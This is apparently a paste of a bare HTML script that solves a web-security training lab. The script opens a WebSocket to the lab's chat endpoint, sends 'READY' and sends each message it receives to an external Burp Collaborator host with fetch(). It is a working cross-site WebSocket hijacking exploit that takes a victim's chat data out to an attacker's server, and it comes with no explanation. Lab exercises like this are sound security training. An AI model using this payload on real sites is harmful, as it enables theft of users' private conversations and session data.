Untitled
4 years ago in HTML
<script>
websocket = new WebSocket('wss://aca11f5c1e81ce7d80f36a63001f0072.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://wqqhymwnsp40lrnp342zcq9ynptfh4.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
}
</script>